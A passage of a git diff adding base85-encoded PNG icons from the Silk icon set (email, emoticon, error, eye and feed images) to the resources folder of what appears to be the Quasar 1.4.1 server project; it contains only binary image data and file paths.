zhZo`7;X$R(W_se*OR8zHHsnH0(1X6wG?qmLRW8mX3QWjrC&-BgIgP4H4{F0Mkd5YX zg_2gTCQGcXb|K(*;@R7zNic|RhAfL84ObVj(rhejztEEy?Phh8hQPIXFT%&D_;M|!65~o_|==)((s!ROj<^0mjv8#Q4o4cZdw^<0!s>!kTS(r+Q&T!<%0QV&g zIu#0QcaBCa&9OMfMn}lB|3q?Wdf_{a%k)2VbaYTb5FW(i@x0&f7rVN;9<{f((^xEK z{hdR$x{ZuHCd=}H&d$yd%ex|q;;s4ldFSBZVDV4VRt`4A$DK~+WLsMsjYgxE&EJ0k Xsy$=Xcu`==00000NkvXXu0mjfruKII literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..a9932b1ad5ee05b4aa191ace4d859609098568cd GIT binary patch literal 756 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_link.png new file mode 100755 index 0000000000000000000000000000000000000000..2c49f78a657c1ba1ec0ca6a28455721b20d4ec50 GIT binary patch literal 821 zcmV-51Iqk~P)@&xZvixulsk-;T#44a~v_p20ZGUos{+e ziqz?x2bDc`a!X|=H&x$AMYoNVcg>OOowMZH)34;Je1??Brir-Kni02|lNTF@eWxU< zNk%>3@}$y)izYH)GssfVp3xDiE3_bkWMX`Nts^t6W3>pK-9Ht?o9O^7?i6NLjsQv?P*iV0iU-X5Sd9M&!sd>k z-}n)V&Ti=SdNj)vcx!UOwiJe3ap)x zhTreU^71mwW;2vMYG|~5SX^`qp4Dm_$qtT$Tu~De0*V@+3QHb<@Jz?l?%DX)jK3n%GeMWMRG`GqGK;aY9f#^aZ zOePZ?4hJk23kC-Vah~@swT#Cppt+@$Wc};h+}xV#>gq5Bl$Mr`=jZ3Ai;9XMkw^s5 zntHTH0W_NhILR;mh%Tj488#RUA*0aU)W&v_?a!!auqSM92 z#VeJSmGRoz+9WTwtgP$?uL8c_qaN+i49)%pyygIR5QP`^00000NkvXXu0mjf)cSaJ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open.png new file mode 100755 index 0000000000000000000000000000000000000000..7b6f9813d41f1d95c8f1cf1495c2314dcf16d3fb GIT binary patch literal 783 zcmV+q1MvKbP)FGA|gUiBpPKsNC^f4AtjM-BOo6I z6r`2%Aq86cL2037X}jIFyW8#V&zXS`i5Q*a$xLSEecpE_F9(1-jh2z%g|>+>+9xA0 zkA`ml?cS-I4VJBEmYFboVFjV6ilGGo&n=#={}R-6x+aGgB1p&v)GVM86wScQ&nTXB zxV()Yx6hm^cssa#jvorBcDDqH1WO7Kif0)qmB@%>Gn58D97J7@zwm_MRj>bE`@}Bp zw=N%IUV^D*3FYq{D0}w<#cynQ*tSI0c9ar2tzlGk`gkVb2Lt-h!U1+kCK~*&K_&Eg zBa1QAcKdbiwZ-XEGCIUmmSv@bUpq<3R0cN(WOi1<+aaYj^vwovvBKizD$OfKf^3*t zR*wY-2^CREWpg+t!?!14)f;1Hg^#T$ZeGF0j);QBIfEujA4UQ4w zNg^VWy=WTlU;>5#6gAADc`ObgsZas9yG=GGSPAOrw~1)(ceCIa2^Lcs1{H>cG-|sx z&^i^zCubH1(vjd+-8>UG_jIg=bbMYEQ2D`$>W=jjJZN)b-Xmkum1P_Y3Lece!FpJS z!>?lC`#zZ!Ci@+_*F777byLAt?~&jo5nMJ|NvG*p4yY_Uy|}ik{~@5z3VKO`8J7Yf zK`WRCms>h+q)5+>IRvcjsPGB~y!!?`1Q)?g*ou&Kgj7kMY4<4@AgvzQmr(HHo5AH2 zwR@tHqVEVPBc9SA${J~94M{}<6;sj#nUXm~5M|xA5s~vvmM!jVVbes;o!;2_ve8U# z#kiJNIi=-SS+z^mR_#j7w05;_TDwNLUVq4q`svKor(cqJzj!aV1D~<*HB>(T#!&X?LweP`h!V z#f5ew2F#+kh=_`{(2cDWLBy7tHkri1Wb7oF$^3io``&etX-G&e+`Bj&F87>!L{-_T zzWA|n)Q0xwK!hlEuby~r@XH;Es=BQ|oSK=Ky1b~fiyf`hx;lOJKmBOx*5ppyZNQnY zZ~pS#)g`UB6YVg?ZhbEqmlQM~s!=ZT#ob{;{A zoFhq;@h1;+eW88s^ed&e?78U$KQ^2*kB{~9*UT+WJUhs~LIDwr0&yZF>u%v)#Hr6O z@xq}3d-JPrPJB~-!^Z8k`SC}FO5IqAV@F|cf$GPfk;!B>jF!OSY(VC<nfc3_W}hQUTZitf6w{8c71n-2vV^f1S5q93fvQmQ1tj zB^?@`daTGwy+Hz`LksuJ_dS8xX&mZOe^A|Uz zL^d@{{_qFm&m3WNIEVD|XPdoO*#Jg|a-^R=%mY)Gt002ovPDHLkV1h-Zv9=jZ#r=d=hWyU?P}@^H?N!+D;^s4D+csb3rJhKW>ZSD{se zW>rw(t_Xc9oXqah$=UN}_66>SX;I;fY3wMNTr--k1NCS;f-gNFdDT@E;ZW@!9rz94 z`pq8AwOk4o9wZJjJRP{n{DzRK$no}>V__jrL&E}+cikkP2KLq;(930j?KgF*42Eki zL=ueSr;C(^N<6$hhAJ${3x(x^$utsX*6`)d;Yktl4F`2J08pVl$ahAX21$za_Y|qA zNoZ-!uw|RFG(W-3>jpRe1fRU2a#d#}o_2r$K!i3^yBV1-qAq6p?pnTsEn&(6ux0BA zYA11H_eteeBA&Lg3L-R-sYc>4UO%n{lLhmOJgTT0WpUj#Ai;YIWq=B?y6H6DQJ3FH z<-FyXApCh>JX4<@q2s-viU{G43p_<^ybjV-MKRe0D+p2*KLNZ=@Sm?@f=a}vunDhc z|De~7Jiw$I36cTq*AKvKhbngb4Sc>xs(LN)$RKux-m;9POQv3gx6$Tvk=PfwsX@YA z8x^??pq^y-7BlZp6V6?Psou%pl_QhRvTXe^9WEPb_@ddDs^8H)r*SWY6S&eneEb1* z)0kA2FuM-VGD^>{QhM39e?zDC{AT5$^Ja&5PE|E^6w>on6I28s4wrbQhFJN+t=`k@X24nQI!m9kbZt8EmoWWHeFN=fO8(U#im?Cy002ov JPDHLkV1hIwPW%7> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_grin.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_grin.png new file mode 100755 index 0000000000000000000000000000000000000000..fc60c5e1cd0dfd034d9e755302c9cd163d317a9b GIT binary patch literal 714 zcmV;*0yX`KP)1zIPd!!Rpoyw`fI~IH*r;ZRp=I> zLlsmQ7a^s>^~6cdZk{)rFL2LIrwX@BeP5$VcA&8uP><%8@Rxe=(cb`W z#GKM(=U}koJX*00zcGn~%c#qPDI+Lr#@K-H^8><#(bIM3^idIDM@)?>Gm+MNaS7J& z`83#Xhzn7l{{a!jl-3g|ZRP9O#jFSoJJ0J%0H8u|(9j>(7)Y1~x6a7pC6EI60xzC{ z*eq`C9X|X>#lHTyczOW>013a6 ziYkcELTMF}TV?ufHJAjLU*u6m-3q&Fo&q7>(^v$kkW-hB;T<&%?Nrq6!32@5`{G$& zc!RDDfhrIuS8 z?8Y3h*`bPE`v}YTiB=sTw={z-FjSN=Gid5W_!K{KCoc9qZheMGvWJpn8>lB-d`V&U zCXw=8n5yH){1jit2GY)Qx&5l9{+I=T+1n;A wo<0$}y{E$!z*)wfCFLvwhp+u5O#f2f0aLAAZZV~`sQ>@~07*qoM6N<$g0=}oVE_OC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_happy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_happy.png new file mode 100755 index 0000000000000000000000000000000000000000..6b7336e175438cf27c9bcae4669f9711e09304e0 GIT binary patch literal 731 zcmV<10wn#3P)l%u5=V2goM%QPGY7PBv-7BC^0g7Fa2Kgj6IQyYY!iS>F3t^;Y z{`dVv-isd(F{Bofw-%8$vKIg>me+{)A@}VXl%+GsE>t2jcM|EqamZ6;kUSPnE=BU) zeuy6|$S$@a+)Ca8AoGfHhCIrBUVy*v68!x);UCyy{SEN-)*vyqhXD>Owvbo=q+gJz zCkOfU^N3FMBN+)mjLmJb^;pE?#E-YTSlnhTG?QEa@O-`cN-qPdAue>|r>37@WzWyjAHen>@2_o+^B&_t+-Fms#M`L_^0`U`~aor)ql1d5Pg z6owrVjF7Of7j1n54cD~V+Wq~W=b7nXZIaQU<}$-D^Wh8g9iyuJPn7-MaF0z&l@1k7 zi;z(T6-GoDP~qCfbDCc}Z`LYsk4>`*H%xtJgQ?D-@mf%i7IOIIQNnlKSrOW6T6Aa~ zzzv!ft#0lKwzQ#%D*U(CNVtT$BA5z-ik%o65YF5q{4ms7cV2r-06S=ERhf?MznhZa zGrpJw`vq|!>WixoQA~L~vGVh0X>qPIVC$n@kA zgAe9Vv7m|wv0n;2S!@A_bF_Ik?_SL^JGp@R5EaWzcA1Gc%VZkUm>_}pGHl31$w(sf z+uZ2Ept_z!a-O424U9dTV*JG{cuTUO^>-YP_8i z`v#vMN1_$fg^2rkMu;VMV$!FWzJD?AEISTe*2Mszrd1b3X#X~G3v?T?bR#BKi;99M zL3}eC>Q11E<1D@G!$!0px~z-qtUQ0moD|RXF?n)b7)X-x9v-g}ON5Q~a~p7C&aIOn|YYgCp0srauA_td0R8BpPn z2tBHx!h{GTDqKz<)yndDvwQ>h)by!v&Ey9=O|}P3tOoUHEyR~z5ls#kL^zW>rq6x@ zxKVRVvwio1b*ItfDtz?~5`95k9ZV}h>t>7%h(6vSDn2{jeoF5*0d~}^R%JTYeJdqF z8DB4eT|!)h`uY!uD5fP(tfiZ;V`nQOZ0tC#3ju%%1Hs0jlqNu;0=RFCJ_tb?;2S)D z0%9w;@@stbp5)e{lz0XJ0ss+?m|QPXFQBf5isiuJm8e+MTlV)=P>E1m!7aWdp520Y zjx<#eVH+(Oq_&8PrMl#q|D0fPp$$dJroWO)7ikF^s0)Dz@9As;RH&(|C-4q@gW^n_ z)P@t}_jLmhPQNCcy2|=o5hVasM2P)7!BfE2fCMU*g)b}U=;|ezSxYjrmX5AoN=s`{ zX<&jR;^WwespUU-WW!gOL>?8$<*Lk1j#DkqQ7z9gJ2_4^Sp*G;XLe8vr?CwlHDxT_ zGwmXLNcG-GiG52YoFbfyu~<%n3Yp|Qx#SFO*$zzRAkz=eRh(tht_wQfG}8QSb0Xf} zf2TEn9AZnj(hGcT26c5zJWVXU6VE0}Zyr;6H*#|Kkly{x%Ck33zj&^+Z5!-Ntl3Vm zA^>r?$n$OX9iPXB3(j(W&qW>iV-^5DT{kK542p2bdwN_0oMpmUMx14M@1?(l>0jzQ Xr>}D#C{Y5K00000NkvXXu0mjf8wo&0 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_tongue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_tongue.png new file mode 100755 index 0000000000000000000000000000000000000000..ecafd2ffc542f88ec6e42eb7c57ee253ee7a3fcc GIT binary patch literal 727 zcmV;|0x127P)@Qs&9_62n*m}Y|JO&A-Hy&om}^zi7~6MB0IV8=~|D%HZa>m>>1 z@o5F@0^%~%r{5u>m|_=&;x^`akX^RiP9H-~-}B*?Y=@Dk2nqIPg@kNiRh7>~2S0hPs5$m6+LgMb;RDO$<}@1QWC( zKE!6cS$>1Nwl;~0x=;c2IqED?vnOk$Xp-X=5+rO8uG~&it73ER{s4F`HC|kZab<#N zJ*Yt?qrA$|v}K;RGj*!-bF4qyi59mr{rEy`GcNrUq?sG$Sh#jzw7Kgj6c%vxr}*Rp z>QYQtrcmz1vyuACd(>Zz9p5pmH-C%r^ffaep35tGhPtEGTM3#15Qob=i_@?8_++Hw zEN6F~)3HBx0buH?DT!xDgah8w=W=kC31=B|mXTfO|5B!Z(Kjm{e&X4d%*g-%002ov JPDHLkV1iW*MF{`^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_unhappy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_unhappy.png new file mode 100755 index 0000000000000000000000000000000000000000..fd5d030ef773ddbd3f18925487a870ae7679b08b GIT binary patch literal 723 zcmV;^0xbQBP)nI31uuPEx(b2EPDKzMg2IC! z1S@@jQACFdqKw6YEZj=hS9jm{d7haL#U>dYYEHv2^W)FV{Ee#eKT-30!OfVgDx)f# z5TQ>MRCpr7vK;P}hO60nz*0M4#`U-gZXsRsl9|a;nTHdTwPU zDB&vwuq%j*P+$205yhlhNu+vMo;@3i(AGSxUjqOYMuWBsSxtgO1#qk6CyO94_?QRx zKx~LBy}(EB$aG%Fif0rc01#o&H1#8u0_w`BSPq^{qhe8SIWQ2S5}`K4Ej^>AaW~=_ zTo33X)quFA>X3>>U5xtpXKqm+BT*5E@SgVS8C58&t0eIbd`!4p;>FWBO5Z{dM}5Z7 z-Q7SY zRRtnU+2Zp(L1QcF+PCx%bW&eiMtlYJ5j$IwVVpI!Vv~gw2mV%qCO3uhz5jFCglR^LI?Ip4kMsCGM^*WsD)?OphMkxyJu0+| zkWd8`MnxD>;n9Ixn%>>-?4BSPc3M<;;#Bw6I;9CTQVwcSvx?mq!~4=dFG6=&hkn=x z2;Ms#TH5m3J=%p9AHrs*5N{0)a^Mu=7M{ZKUA%=?cq<<|D{t$Y9f1GdDOcrd=)#Mb zxLXXr93+)AoVj=iRGA*%B3=oXub(Fry}iDe-e@Z;FD_(}?B9Za^K;gRD$1?D@#%a+-~0vqwuU8or-y0ZV_*kR)~P8Gy0f#- zK#vhR*o+e@M@2ytHxegYc@-^gWo_auexB~edz#v3<>Yhcnphr})b-XzD$e1CU66pl zvt*JpERXch2R?V3?(5JWvjDL8)QO3uSA=$JNd$Qad`1JGp}?pA(u2Q*>0jyxXpdYZ THlv1D00000NkvXXu0mjf4(Upu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_wink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_wink.png new file mode 100755 index 0000000000000000000000000000000000000000..a631949b5126181d03d2cc657dcc36c0f2c3ae48 GIT binary patch literal 712 zcmV;(0yq7MP)(qcS7fXtvA0;;08>+3O7teOQp%zqTvQmk4Dq@*%u_^?FA9et#8o5RRGs- z8Z=*jFWAS8b%g3KO_4M^U0l1vRYZa%HuO90z%HmEX@+J8GM!8d$d z06T}c1obiBW)^t)JmNrICHXBid>uMJFT&34P5LEvxyN0giU_IY6+8uOR1G02mTbO^AXBl*H0onaP>T38HsKXOu((2x zoqmA{D^LOV^%1CB1+X)Nq}LuKnx4QG=~)JNIu=IS=5aZKu$aPt&Jo3_ zUXu6SXvsk)AGXcggpL(P`gF&fOm9BgnW<=m)EsX1DL#6Sx)_trk;+x$*~RQ=FSBEP zrw+C1-Bnheyk(Ax=UQ1+OJ%rmAHkXc#NiUp_sKCn47C@W<>KK>+V{s_0C;!PWX01W u!ZGiubwzNNC(hF6EbTRy|ME=#5eOSYYtbpBV}~vsBnU!_?2tr-P=|^T zED%wc9ezHgW@NMb!^uT_|SvCpFLJylbx zY%bpaTGI8IYXMN$9w<3j9VkA~NYOKEQXsj?6a9_hcwfU$acAhJhB)zb_w@MVUEy@S zX&I>K-R!bhu3?(6bHWIg$HEl7{9g>>&l_qdd+UYb(1~BCo9LptNq&8>!yoJ3Ui(i5 zRJ|XnYBklL!{@$-7=3mJ>P@1c=7Oc79e-V7yf+%lD2!I;Y&nXBZ>=B!5?CB>LvEx6 znI%n)qqi$#X#wKB(U7XP2P=+4{b@j#r%9-K(8UqtSDk>0UKzf*HM9yqMZ1D!$2MdZ zR=`U>0zhOH1XqN?nY@AQqB7)Fp4{v&dKXvb43hZKvnN8;Po;+jY*}~*Z|W9Q0W%{D z^T}Cc<|r(Su=1K=P5>Z4 zg`et&Va}tdzBS-G-ZcO)zCWpJvGQwrHZ`@wpM420ac@bI5~KkTFfGEM3sPWO8co4^fI6lPnA)Y{ef%@{+SnoUk0+dW+*{8WvF8}}l07*qoM6N<$g7cXs A&j0`b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_add.png new file mode 100755 index 0000000000000000000000000000000000000000..4c974840e957a8f7a012410b90ff06a055534a5a GIT binary patch literal 710 zcmV;%0y+JOP)0|UoKa{= z&8FsYq_B&mZpt0E>87*hKHb{)+V{Wr9ETXWS}*)~Iqy0D-}9XJoR~5ld`QhI}Rf=kyg=`}az> z6_9YbOIPpz>6=3??LutnEEWbESt4dJveA!-IcBl=q-xF5yQ};Uf$LrUNN8S3D*2Ff zbrXRM%i3cFK@;Lu8FI-LxMy#JR_##yCLrM|r?xJW&qR@l7?7~ZSV6+xhV{>4L`-L( zn{2|(zGhrfoy7SL5v1)r)uzDtw(e8d{ETdz8%bvu5>_b@G;hAb=-4UTd36Cgx(8oe z6x7q#AXZnSLC#e&;p3i}R`Shb;0q98XrPydIV-D^%tSm zUxq-=O>rEfd`H~zffeL4LBfv>vcV0=+KF3yOwj$zREm=3`CK2oDueOV3ra~_rl z55P9C4@*z?V6ksEOpkZMsH}wOdL_E3Rw$?zHmsOxVLK4Yx!IzJX)B~s$7$t$JfPax s%FN7MvwKjApdjfaM3}Y5P)NtNS4FfTR?fV zd-U$^Je{j6ms;sQ$x0W9{2-vej@j?m;OyLe^1lK^PMq$}3&x@WMEwRh-t6*Cz1o?$ z>cF%nuOm281Az}gh&nMld>8cd%-U52h@9bipA$oD9`n;Rh6YFOJ#egzJJ9aSS18Hcm)GW2(nZvGY^a*Dk@ixapIxS$TyUW9VEi<~naf zFm{1`b{2!D6IX6cV&K;Zm@nFVL~V~yKksY`|V;Z_*$Z^m%-M)Z`*z%-lyh!i<5!3<%tf`X=mVpsf`mZDQ^xca3$ zm2*@k!+lW(Yxx>{D3kJC#nh!$1>$^GBwf%HQ#P_}ft=~M93TG)8Pw_BIl6BR00000 LNkvXXu0mjf|4UE) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_go.png new file mode 100755 index 0000000000000000000000000000000000000000..caa1838d7f1deb211954f417f44196d131762a33 GIT binary patch literal 734 zcmV<40wMj0P)B81U&hml7ftTkzJn#82Ff)=N+_m4tia#>Z zED;~bI?|((@r+mjthjMa_A%$0tfL-QbPg*LnU_WAg~uA`bk8XfVKMue{f|q-zK6T5 z$+$@!kfN4#c5k}DXoQw#g?X#j%8Ke&msn`eT!P~gh zHx954K@vhr&4ZG+`hMNW>{NV8fvu^oY$D5Q1iV26C?>7a-M}^ zf+7V1!ylPMVQx91B8Cg`?xBTxqe=5WDy=kaC@M|QuY#QKhWa@G0EkNg#f0(jFm#fT zq(fIa<`(Bsvbh3LeZkN_`bKD^)UAxX(*OX?;)Z5%EeUj&Ln?`^^>#>7P)wMLOu%Z% z#{0>)_#PZZQ_%FyFws`rLW<6?B9I~^a*dRT3jsj_aVg-iIZ@^~jCT_~7#@6%x*tZE zq`GHV=^FpWu6ko=kNu#n>&wdlL2&yUSp1p7YT&3fgcO-N#0$9Ug7g~-`rQ^qx~m@y2OU8A z#zh~=7n#Z$Z*fx-GOtDf07cgx0suCz_W(2~Y(0tf@FX@P6EPuM_dgn$vj9LucO)%W zw%HgMW>=#oL>nZ>M&NEf08>)#)k<{$fCT_r>rPi=BV=hFh6WS^qqze>C6Ek}o{M5% za|@JGowu0t{&hgNzySHZxy@LTNh);YzZ2zSp_ zl$^T&Dnc|NLb&RD_!4>pt@VHdP)ZGER%5ZmWEe$lryR&y;2u^3cOkO4#6c%-(EY6a{600000NkvXXu0mjfxS2AI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/eye.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/eye.png new file mode 100755 index 0000000000000000000000000000000000000000..564a1a9714ff37aee1c8758109113e434eff7862 GIT binary patch literal 750 zcmVWW=I5Rl}zuENrQ28Pt;CX(qKOcDU|M8F&Z%jVGSZA7t& zSX&s1bi|{*v*DgAz3ST9+K6Us3~0Q9*~BWe6PID=&0x|wWdf!IWgI(}6lv9v-FpSS zw1U9OL{Ex%ACuJL>=wxTZg0 zEf8`!jsrze5UvA~SqG-HeEY!{P)iC{?3#nq?S616TB~hnMW{0-6j9tLvf?&u+XiC{ z?O_E0jiYQZlqIojGL$5a1qk9N)mlxpmZq1W6gHT`ec`8K>j$jl3}`WfukS z{=!u2#P1a^U!H8Xl5T`7??NT1t zUc_pqB=&-xQ}oxwg~5^6HaUDuDLGXE;y3!@QP_pOFSc-kKKIu gX8xa5{%_a#2W_ovs9z>%07*qoM6N<$f|edvg8%>k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed.png new file mode 100755 index 0000000000000000000000000000000000000000..315c4f4fa62cb720326ba3f54259666ba3999e42 GIT binary patch literal 691 zcmV;k0!;mhP)bpQb1=l6TxbDZwj&S={?7%qx-u`rsG(Zp`-rh=e^=%((1yvsuf5d=&62Zj)Y zH&JviNS_F4_Hj|T(1j4$p-!}kixP9&dB4uv^MveG?dGf%sUCoc2!IFxD6wHRA2^dX zXRVk!-qSfk(jcaUKn#RP48(whfPlJUpApdrA!TQi_4D+fVoM;3I0gZ8{=Xv~Po;geVA+Em9@0Wq2 zr>OTZEGR05L=gf1T;ucCxq6Q6EgJiH@@-lVaAlQyw`jIF^c=&IVnj|95hHbE_cnt| zTzZQ?F4Ne@(bH(~&3nM%m)I@ID{@jJ2qZPjr)jhpe9hViOwH5k&|T#EmmL3(vHeUQ zq^!t^Al6JD;=mHq^Bg?J-8-zG2Od7gZbknG;K9czYjPqG*xjPo0k(c4%lPXTpw(qq z@aGMnxtFS(np+2kC} z7P02O874ZkJH$v#nCUVx$({yDN`IX@o2wyvTD#e`qN`_w5<}$3F+_TL{y z@MRP|R@VB<7X5M7OKHel5p5DuZd2LP^mcc@yZiO|gzD2e3w_4ri~)#<0Ehs9I+h%+ zEqXIo=rgYW-Z7;;BzagiGdi95D<_xSo(Ra@Z~W%Ib%wDs3!CdlVJHbR%eNk zBqEX^M6!%x7d^Y_IX0F9NuJokZTkWHNjLfP1ZTdWv4KFAA#mwDEmzYdY9iz)pX1ad z3)5__kZA_mImnE!wn$VIw_7&<^lA9oyNc7ih}sMe`f zNgGs%A|iT+dHj9uJH*Y8vcAB#udp};?0$yQ5Y;M`I%%C6Q4l|SsS&cb zW%eCnah?PrkZ)t>0dBa5jSGDIoa4EYZ#K%-HZMxcYew7JJu&^6oF)X4jFFeg7g_v) z*`ss~P%Qa8DVZ&l?c001>#pke-RVz!I)Bni>sArOjP4z58>V}J>-Vz$FQ+EKoZg`pMkVv{y%udh7U8T9PdaStfa-U#H$HMqJrX zp-9Zw+CxW)&Jr=Iq^YUZ-)%2#w_5(&+UBw!=T6$Sv^Eo}59loP8rN$~6LnNjLk$(w td8e)2N9}FOF=%aOMlM%>d42BE=>H4U@GgW~M}PnT002ovPDHLkV1nQTVmkl; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..5e332b4cc4fdc60e44e5f3a5c2068bfb24100241 GIT binary patch literal 746 zcmVR2Ufr z!QE?>bpQb1=l6Tx_juY4x@=z=P6pe>%4jL0NnK<&eL_if5qT#RMdU$*Zh{&81L95L zO&DD_7+8@}CSp)*WlCA;?EgkB#DS5 z2$7NHSuX2M+-b(b(YnIc}V#wT?hhAaHw`@?Erv+6XC|OI(>`_97dr zWS!jm98aEN*Ek^1Xi#g=%*jbb#K7hfS3e>K(n$9xqleisz(YrwIn9l8)SKjW8ZBx> z5fS}kyzn89z01(Etj+S}TP$1v_Ps*iDD^tECXFUJQ5zBhvQBzNc;IE8I7QbW)9*8X z9yoB6VjHyvjTSYch=9K@^XZ#RpJro~tb<41rg9G#PO`pCslwi8s5NP{$w@`TNDE_&;5My3+ZMQK`iLm%dRncM%eu@YyWU%63k71W9ZRZb;@!wh^O-N1*>(YP6xI2d_Rfq-Kd)d)PS06D7 zF*ASds+dKMWW&FI73P)_-R<_JP=8!kso#WtRc$m;LyjCZG+DIW-1>&R6=X?aXDlua ct+b#19|+d#a=?|~qW}N^07*qoM6N<$g8W@n0ssI2 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_disk.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_disk.png new file mode 100755 index 0000000000000000000000000000000000000000..a158c998dfcbbe2f8620b0f54f7a8a6fc3c9a858 GIT binary patch literal 738 zcmV<80v-K{P)`Ew}GIDXe~09L=$a8VrKH@y}8$OLiM7__PonVT>udg01*JtVAJZb=e4pu z@3Q+J>zZArXc0?7AO=Dt24X-#KtLX``F*$j@inDV*X%M?!Q2W3wtwcIbz-E5h!hBs 